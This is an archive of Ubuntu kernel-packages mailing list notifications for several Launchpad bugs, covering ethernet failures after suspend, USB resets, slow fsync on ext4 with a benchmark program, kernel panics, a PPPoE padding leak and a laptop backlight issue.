[Kernel-packages] [Bug 1752772] Re: r8169 ethernet card don't work after returning from suspension
This issue is affecting me. When I wake from suspend my ethernet connection doesn't work, just says "connecting..." Ubuntu 18.04 4.15.0-29-generic r8169 This workaround succeeds: modprobe -r r8169 modprobe -i r8169 $ uname -r 4.15.0-29-generic $ apt policy linux-image-generic linux-image-generic: Installed: 4.15.0.29.31 Candidate: 4.15.0.29.31 Version table: *** 4.15.0.29.31 500 500 http://us.archive.ubuntu.com/ubuntu bionic-updates/main amd64 Packages 500 http://security.ubuntu.com/ubuntu bionic-security/main amd64 Packages 100 /var/lib/dpkg/status 4.15.0.20.23 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages $ lshw -C network *-network configuration: autonegotiation=on broadcast=yes driver=r8169 driverversion=2.3LK-NAPI duplex=full firmware=rtl_nic/rtl8105e-1.fw ip=172.16.0.5 latency=0 link=yes multicast=yes port=MII speed=100Mbit/s -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1752772 Title: r8169 ethernet card don't work after returning from suspension Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: ===SRU Justification=== [Impact] Ethernet r8169 stops working after system resumed from suspend. [Test] User confirmed these patches fix the issue. r8169 continues to work after resume from suspend. [Regression Potential] Medium. The fix is limited to one device, all patches are in mainline. The WOL default change might cause regression for users that depend on BIOS settings. We can advice them to use userspace tool (systemd, ethtool, etc.) instead. ===Original Bug Report=== I have noticed that the network stopped working on my desktop after I've suspended the system and woke it up. On dmesg there are messages like: [ 150.877998] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready [ 150.944101] do_IRQ: 3.37 No irq handler for vector [ 150.944105] r8169 :01:00.0 enp1s0: link down [ 150.944180] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready When using Xenial (from a different install), this problem is not happening. This is happening on Bionic. There are only two ways to restore connectivity: 1) Reboot the system; 2) Remove the r8169 module and reinsert it with modprobe. The motherboard is a AsRock H55M-LE and the Ethernet controller is: 01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 03) ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-firmware 1.172 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: LXDE Date: Fri Mar 2 00:21:57 2018 Dependencies: InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) PackageArchitecture: all SourcePackage: linux-firmware UpgradeStatus: No upgrade log present (probably fresh install) --- AlsaVersion: Advanced Linux Sound Architecture Driver Version k4.15.0-10-generic. ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 ArecordDevices: List of CAPTURE Hardware Devices card 0: MID [HDA Intel MID], device 0: VT1818S Analog [VT1818S Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: usuario1153 F pulseaudio /dev/snd/controlC1: usuario1153 F pulseaudio Card0.Amixer.info: Card hw:0 'MID'/'HDA Intel MID at 0xfbdf8000 irq 26' Mixer name : 'VIA VT1818S' Components : 'HDA:11060440,18492818,0010' Controls : 40 Simple ctrls : 17 Card1.Amixer.info: Card hw:1 'HDMI'/'HDA ATI HDMI at 0xfbffc000 irq 27' Mixer name : 'ATI R6xx HDMI' Components : 'HDA:1002aa01,00aa0100,00100200' Controls : 7 Simple ctrls : 1 Card1.Amixer.values: Simple mixer control 'IEC958',0 Capabilities: pswitch pswitch-joined Playback channels: Mono Mono: Playback [on] CurrentDesktop: LXDE Dependencies: DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=edd83175-c707-4b31-90d2-ce2f5cebc73f InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. Package: linux-firmware 1.172 PackageArchitecture: all ProcFB: 0 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz root=UUID=0c4fc517-b7a0-49b0-bfcb-0485dfe6413b ro quiet ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 RelatedPackageVersions: linux-restricted-modules-4.15.0-10-generic N/A linux-backports-modules-4.15.0-10-generic
[Kernel-packages] [Bug 1586195] Re: Realtek 8153-based ethernet adapter on usb3 eventually stops working requiring unplug/replug
Hello I have the same problem since 4 years! I can perfectly use this key on a usb2 port. I can not detect this key on a usb3 port. The dmesg command sees nothing at all! But if I plug it with an adapter cable to the usb3 standard, it is seen but remains unusable.See file USB3.txt However, the port works well with an another key of 16GB from the same manufacturer. a@a:~$ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=18.04 DISTRIB_CODENAME=bionic DISTRIB_DESCRIPTION="Ubuntu 18.04.1 LTS" a@a:~$ ** Attachment added: "seven seven failures on a usb3 port" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1586195/+attachment/5171223/+files/USB3.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1586195 Title: Realtek 8153-based ethernet adapter on usb3 eventually stops working requiring unplug/replug Status in linux package in Ubuntu: Expired Status in linux source package in Xenial: Expired Bug description: Continued in Bug #1622322. Seems to be paired with dmesg entries like this on the trusty kernel: [24763.731054] usb 4-4.2: Disable of device-initiated U1 failed. [24763.734507] usb 4-4.2: Disable of device-initiated U2 failed. [24763.734594] r815x 4-4.2:2.0 eth3: unregister 'r815x' usb-:00:14.0-4.2, RTL8153 ECM Device [24763.802963] usb 4-4.2: Set SEL for device-initiated U1 failed. [24763.806450] usb 4-4.2: Set SEL for device-initiated U2 failed. [24763.809953] usb 4-4.2: usb_reset_and_verify_device Failed to disable LTM [24763.809953] . [24763.810579] usb 4-4.2: USB disconnect, device number 7 [24763.940765] userif-1: sent link down event. [24763.940769] userif-1: sent link up event. And like this on mainline: [ 259.731142] usb 4-3: new SuperSpeed USB device number 4 using xhci_hcd [ 259.752915] usb 4-3: New USB device found, idVendor=0bda, idProduct=8153 [ 259.752918] usb 4-3: New USB device strings: Mfr=1, Product=2, SerialNumber=6 [ 259.752920] usb 4-3: Product: USB 10/100/1000 LAN [ 259.752921] usb 4-3: Manufacturer: Realtek [ 259.752922] usb 4-3: SerialNumber: 0100 [ 259.909368] usb 4-3: reset SuperSpeed USB device number 4 using xhci_hcd [ 259.993254] r8152 4-3:1.0 eth0: v1.08.3 [ 260.079151] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready [ 296.266600] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready [ 300.785814] r8152 4-3:1.0 eth0: Stop submitting intr, status -71 [ 302.832697] usb 4-3: usb_reset_and_verify_device Failed to disable LTM [ 302.832697] . [ 302.833086] usb 4-3: USB disconnect, device number 4 Mainline version fyi: [0.00] Linux version 4.6.0-040600-generic (kernel@gomeisa) (gcc version 5.3.1 20160509 (Ubuntu 5.3.1-19ubuntu1) ) #201605151930 SMP Sun May 15 23:32:59 UTC 2016 I also get a similar message about 'Failed to disable LTM' if I just unplug the device before the breakage occurs. I've attached lsusb before the breakage occurs (so you can see the device) from the mainline kernel. Interestingly it appears the drivers on trusty and wily/mainline are different (r815x vs r8152) yet still exhibit similar troubles. I'm still digging around to try and figure out why this doesn't seem to be working, but I was wondering if you all had any idea what might be going pear-shaped here. Thanks! To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1586195/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785171] Re: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection
Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Tags added: kernel-da-key ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Bionic) Status: New => Incomplete ** Changed in: linux (Ubuntu Bionic) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785171 Title: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection Status in linux package in Ubuntu: Incomplete Status in linux source package in Bionic: Incomplete Bug description: I've turned up many, many new server and workstation systems over the years on both Linux and Windows. Never seen anything like this behaviour I'm witnessing on Ubuntu Server 18.04 before where I simply lose Internet connectivity while using a browser. Ethernet interfaces usually either work or they don't work. I've configured the Intel I219-V Ethernet interface (wired Ethernet connection, there is no wifi on this system) using the e1000e driver for Ubuntu. The Ethernet connection is configured to use NetworkManager via Netplan on Ubuntu 18.04 LTS Server version. ASRock Z370m Pro4 motherboard. The Ethernet interface will drop the Internet connectivity when I'm using either the Firefox or Chrome browser. It usually happens when I'm using the search features of the browser. I can't figure out what would cause this type of behaviour. When the Internet connection drops, the only way to get back Internet connectivity is to disconnect the wired connection using the Ubuntu features and then re-connect (this restarts the NetworkManager service I notice). In the NetworkManager logs I do notice an "auth" error about a file or directory not found. I've never seen that before. Note: The auth error does not coincide with the loss of Internet connectivity, but it does proceed it. Often there can be many hours between the auth error and the actual loss of Internet connectivity. After I reconnect the connection (via re-starting the NetworkManager service) all will be fine for up to a day or so, but then I stress test it with a bunch of searches using the browser and usually I can get the Internet connectivity to drop again. Repeat the disconnect and reconnect process again (aka re-start NetworkManager) and the Internet connectivity will be fine again. The longest I've seen it go without an "Internet connectivity drop" issue is about 36 hours. I notice that the e1000e driver does not list the I219-V as a supported Ethernet interface in the Intel documentation for the Linux version of the driver. I'm not sure why that is. The I219-V is supposed to used another driver, but it's not clear there's a Linux version for of the driver for the I219-V. I'm really disappointed that I've run into this issue with Ubuntu Server LTS 18.04 on this motherboard. I had CentOS Server 7.4 (my standard server OS, a great Linux distro) on this same motherboard for a week with no issues, so I know the motherboard and the I219-V Ethernet interface are 100% good hardware wise and can work properly. CentOS 7.4 uses NetworkManager as the default for managing the Ethernet interface. The only reason I'm using Ubuntu Server 18.04 on this motherboard is because of a specific package that Ubuntu has a newer packaged version than CentOS. CentOS is extremely stable when it comes to basic server functionality. Hopefully, this bug with the I219-V Ethernet interface using the e1000e drive for Linux can be verified and a fix rolled out. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785171/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785020] Re: fsync is slow on later kernels with ext4 filesystms
Confirming the fix in in the latest kernel release, can you point in the direction of the original bug, as I've not been able to find a reference to it. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785020 Title: fsync is slow on later kernels with ext4 filesystms Status in linux package in Ubuntu: Incomplete Bug description: So this is a simple one, if I run the following code (see below) on Ubuntu 18.04 (4.15.0-29-generic ) and against Ubuntu 16.04 ( 4.4.0-87-generic) I get two different results ; The question is why? It seems that fsync may be broken in the latest kernel and may well be broken as early as 4.10 ? This has huge implications around performance sensitive applications like mysql. It also so worth noting that I'm running this against an ext4 filesystem with the following mount options rw,noatime,nodiratime,nobarrier,data=journal 4.4.0-87-generic - # time ./fsync real 0m7.537s <- user 0m0.000s sys 0m1.060s <- 4.15.0-29-generic - # time ./fsync real 1m38.299s <- user 0m0.013s sys 0m0.893s <- Linux buntu-1804 4.15.0-29-generic no sync() seconds:0.024438 writes per second:0.00 sync() seconds:1.705764 writes per second:0.00 real3m6.475s user0m0.006s sys 0m1.725s Linux ubuntu 4.4.0-87-generic no sync() seconds:0.012887 writes per second:0.01 sync() seconds:0.736563 writes per second:0.00 real0m8.945s user0m0.016s sys 0m0.732s #!/usr/bin/python import os, sys, mmap # Open a file fd = os.open( "/a/testfile", os.O_RDWR|os.O_CREAT|os.O_DIRECT ) m = mmap.mmap(-1, 512) for i in range (1,1): os.lseek(fd,os.SEEK_SET,0) m[1] = "1" os.write(fd, m) os.fsync(fd) # Close opened file os.close( fd ) #define _GNU_SOURCE #include #include #include #include void withSync() { int f = open( "/a/t8" , O_RDWR | O_CREAT |O_DIRECT ); lseek (f, 0, SEEK_SET ); int records = 10*1000; clock_t ustart = clock(); for(int i = 0; i < records; i++) { write(f, "012345678901234567890123456789" , 30); fsync(f); } clock_t uend = clock(); close (f); printf(" sync() seconds:%lf writes per second:%lf\n", ((double)(uend-ustart))/(CLOCKS_PER_SEC), ((double)records)/((double)(uend-ustart))/(CLOCKS_PER_SEC)); } void withoutSync() { int f = open( "/a/t10" , O_RDWR | O_CREAT | O_DIRECT ); lseek (f, 0, SEEK_SET ); int records = 10*1000; clock_t ustart = clock(); for(int i = 0; i < records; i++) { write(f, "012345678901234567890123456789" , 30 ); } clock_t uend = clock(); close (f); printf("no sync() seconds:%lf writes per second:%lf \n", ((double)(uend-ustart))/(CLOCKS_PER_SEC), ((double)records)/((double)(uend-ustart))/(CLOCKS_PER_SEC)); } int main(int argc, const char * argv[]) { withoutSync(); withSync(); return 0; } Linux buntu-1804 4.15.0-29-generic no sync() seconds:0.024438 writes per second:0.00 sync() seconds:1.705764 writes per second:0.00 real3m6.475s user0m0.006s sys 0m1.725s Linux ubuntu 4.4.0-87-generic no sync() seconds:0.012887 writes per second:0.01 sync() seconds:0.736563 writes per second:0.00 real 0m8.945s user0m0.016s sys 0m0.732s To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785020/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783358] Re: Xenial linux 4.15.0-29-generic kernel panic.
** Tags removed: kernel-key -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783358 Title: Xenial linux 4.15.0-29-generic kernel panic. Status in linux package in Ubuntu: Confirmed Bug description: After update to the 4.15.x kernel my system cannot boot. It freezes after grub menu. I tried to boot recovery mode and saw kernel panic. Now my system can boot only on 4.13.x kernel. I tried 4.15.0-25, 4.15.0-24, 4.15.0-23, 4.15.0-22, 4.15.0-20 and had the same results. I saw similar bugs in the bug tracker. So I waiting for updates. I tried the last 4.15.0-29 and had the kernel panic again. --- ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: tolmeros 2890 F pulseaudio CurrentDesktop: XFCE DistroRelease: Ubuntu 16.04 HibernationDevice: RESUME=UUID=0ccbd010-c5a7-46ff-99d8-8cb76586cf04 InstallationDate: Installed on 2018-05-08 (77 days ago) InstallationMedia: Xubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 (20180228) IwConfig: enp0s25 no wireless extensions. docker0 no wireless extensions. lono wireless extensions. MachineType: Hewlett-Packard HP Compaq dc5800 Microtower Package: linux (not installed) ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-4.13.0-45-generic root=UUID=b96f5dcc-5870-4d8d-a07b-5e797b9bd2fb ro rootflags=subvol=@ quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 4.13.0-45.50~16.04.1-generic 4.13.16 RelatedPackageVersions: linux-restricted-modules-4.13.0-45-generic N/A linux-backports-modules-4.13.0-45-generic N/A linux-firmware 1.157.20 RfKill: 0: hci0: Bluetooth Soft blocked: no Hard blocked: no Tags: xenial Uname: Linux 4.13.0-45-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dialout dip docker lpadmin plugdev pulse-access sambashare sudo _MarkForUpload: True dmi.bios.date: 01/31/2008 dmi.bios.vendor: Hewlett-Packard dmi.bios.version: 786F2 v01.04 dmi.board.name: 2820h dmi.board.vendor: Hewlett-Packard dmi.chassis.type: 6 dmi.chassis.vendor: Hewlett-Packard dmi.modalias: dmi:bvnHewlett-Packard:bvr786F2v01.04:bd01/31/2008:svnHewlett-Packard:pnHPCompaqdc5800Microtower:pvr:rvnHewlett-Packard:rn2820h:rvr:cvnHewlett-Packard:ct6:cvr: dmi.product.family: 103C_53307F dmi.product.name: HP Compaq dc5800 Microtower dmi.sys.vendor: Hewlett-Packard To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783358/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784306] Re: linux-aws: 4.4.0-1064.74 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1784306 Title: linux-aws: 4.4.0-1064.74 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Committed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-aws package in Ubuntu: Invalid Status in linux-aws source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784306/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784877] Re: USB dies after random time
*** This bug is a duplicate of bug 1763594 *** https://bugs.launchpad.net/bugs/1763594 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** This bug has been marked a duplicate of bug 1763594 xhci hangs; reset results in NULL pointer dereference -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784877 Title: USB dies after random time Status in linux package in Ubuntu: Confirmed Bug description: Running Ubuntu 18.04 with the 4.15.0.29 Kernel (the 4.17 line produces several ACPI errors and is not really usable for me) on my DELL XPS 13 always results in randomly ding Bluetooth and camera. Dmesg gives the following output [ 1933.132015] xhci_hcd :00:14.0: xHC is not running. [ 1933.151360] xhci_hcd :00:14.0: xHCI host controller not responding, assume dead [ 1933.151379] xhci_hcd :00:14.0: HC died; cleaning up [ 1933.252202] usb 1-5: USB disconnect, device number 4 [ 1933.253443] usb 1-7: USB disconnect, device number 5 Can anybody help? --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0p: bjoern 2781 F...m pulseaudio /dev/snd/controlC0: bjoern 2781 F pulseaudio CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=71013368-e9f9-4063-b176-fd9d4a73e524 InstallationDate: Installed on 2018-07-30 (2 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 13 9370 Package: linux (not installed) ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-1012-oem root=UUID=c90fb8c4-60da-4893-9121-017657898b1b ro quiet splash resume=/dev/nvme0n1p4 vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-1012.15-oem 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-1012-oem N/A linux-backports-modules-4.15.0-1012-oem N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-1012-oem x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 05/25/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.4.0 dmi.board.name: 0F6P3V dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.4.0:bd05/25/2018:svnDellInc.:pnXPS139370:pvr:rvnDellInc.:rn0F6P3V:rvrA00:cvnDellInc.:ct10:cvr: dmi.product.family: XPS dmi.product.name: XPS 13 9370 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784877/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784684] Re: Waste padding after PPPoE payload
Would it be possible for you to test the latest upstream stable kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.4 stable kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. If you are unable to test the mainline kernel, for example it will not boot, please add the tag: 'kernel-unable-to-test-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.4.145 ** Changed in: linux (Ubuntu) Importance: Undecided => High ** Information type changed from Public to Private Security ** Tags added: kernel-key -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784684 Title: Waste padding after PPPoE payload Status in linux package in Ubuntu: Confirmed Bug description: After a new Kernel e.g. 4.4.0-131 is installed on our Ubuntu 16.04 LTS clients, unneeded (waste) 14 bytes paddings are unexpectedly present after PPPoE payload in client's Ethernet frames which are sent towards a NAS access router. The content of such a waste padding is not all zero filled bytes, but rather parts of memory, sometimes with readable text. Thus it is also a security issue. Sometimes the waste padding is more than 14 bytes. For example, a PPPoED PADI frame (single tagged VLAN) with text "amf/application/12" (18 bytes) at the end of the frame shown as padding in Wireshark: ff ff ff ff ff ff 00 0a cd 2a ea 9f 81 00 00 07 ÿÿ..Í*ê. 0010 88 63 11 09 00 00 00 0c 01 01 00 00 01 03 00 04 .c.. 0020 d9 1f 00 00 61 6d 66 2f 61 70 70 6c 69 63 61 74 Ù...amf/applicat 0030 69 6f 6e 2f 31 32 ion/12 It is a critical bug of Kernel 4.4.0-131. Some affected client Ethernet frames are large enough (>64 bytes), and thus they do not need to be padded for Ethernet. Padding should be included and is required in Ethernet frames only to achieve the minimum 64 byte size of an Ethernet frame sent on wire. For a packet larger than e.g. 100 bytes no padding is needed in Ethernet frame. However we can see such 14 Byte paddings also in large client Ethernet frames (in PPPoE/PPP/IP session packets), with payload size of several hundred bytes (200, 300, 400 bytes and more). Our Ubuntu 16.04 LTS Clients are always updated via apt update / apt upgrade early enough, after a new Ubuntu update is released in Internet. Our statistics after analyzing the collected archived pcap traces of our clients with Ubuntu 16.04 LTS and the latest Kernel installed can help to identify the date and the version when the kernel bug first appeared: From 15.06.2018 to 29.06.2018 - still no waste padding on all clients (OK) 02.07.2018 - OK, still no waste padding on all clients (OK) 03.07.2018 - OK, still no waste padding on all clients (OK) 04.07.2018 - OK, still no waste padding on all clients (OK) 05.07.2018 - OK, still no waste padding on all clients (OK) 06.07.2018 - OK, still no waste padding on all clients (OK) !!! Kernel Update to 4.4.0-131 on 09-Jul-2018 !!! 09.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 10.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 12.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 13.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 19.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! ... So the padding issue occurred on our Ubuntu 16.04 LTS clients for the first time on 09-Jul-2018, after the Linux Kernel was updated to 4.4.0-131. Since then, the issue is present on all the updated clients. The kernel bug disappeared and the padding behavior is OK again (without bug), after clients were downgraded to and booted with an older kernel version like e.g. 4.4.0-116 (older than 4.4.0-131). Information about the Ubuntu clients and the kernel version affected with this BUG: @client:~$ uname -a Linux client 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux @client:~$ cat /proc/version_signature Ubuntu 4.4.0-131.157-generic 4.4.134 @client:~$ lsb_release -rd Description:Ubuntu 16.04.5 LTS Release:16.04 @client:~$ lsb_release -ci Distributor ID: Ubuntu Codename: xenial The kernel bug does not occur and waste paddings (14 byte on single- stacked VLAN, 18 byte on double-stacked VLAN) are not present in client frames, if an old Kernel e.g. 4.4.0-116 (of 12-Feb-2018) is installed on the client and activa
[Kernel-packages] [Bug 1784878] Re: Backlight Not Functional - Origin EVO 15-S (Clevo)
** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete ** Changed in: linux (Ubuntu) Status: Incomplete => Triaged -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784878 Title: Backlight Not Functional - Origin EVO 15-S (Clevo) Status in linux package in Ubuntu: Triaged Bug description: Backlight slider moves, and values updated in /sys/class/backlight/intel_backlight/actual_brightness however, backlight does not actually change. Following https://wiki.ubuntu.com/Kernel/Debugging/Backlight attaching results of the procedure. Link to laptop in question: https://www.originpc.com/gaming/laptops/evo15-s/ I believe Origin uses Clevo laptops. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0c: dan2150 F...m pulseaudio /dev/snd/pcmC0D0p: dan2150 F...m pulseaudio /dev/snd/controlC0: dan2150 F pulseaudio /dev/snd/controlC1: dan2150 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Wed Aug 1 10:26:58 2018 InstallationDate: Installed on 2018-07-30 (1 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: Notebook P95_HR ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=a800497f-73b5-4cd0-8555-3b66c8a3248a ro quiet splash nouveau.runpm=0 vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/14/2017 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1.05.03 dmi.board.asset.tag: Tag 12345 dmi.board.name: P95_HR dmi.board.vendor: Notebook dmi.board.version: Not Applicable dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Notebook dmi.chassis.version: N/A dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1.05.03:bd07/14/2017:svnNotebook:pnP95_HR:pvrNotApplicable:rvnNotebook:rnP95_HR:rvrNotApplicable:cvnNotebook:ct10:cvrN/A: dmi.product.family: Not Applicable dmi.product.name: P95_HR dmi.product.version: Not Applicable dmi.sys.vendor: Notebook To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784878/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785171] Missing required logs.
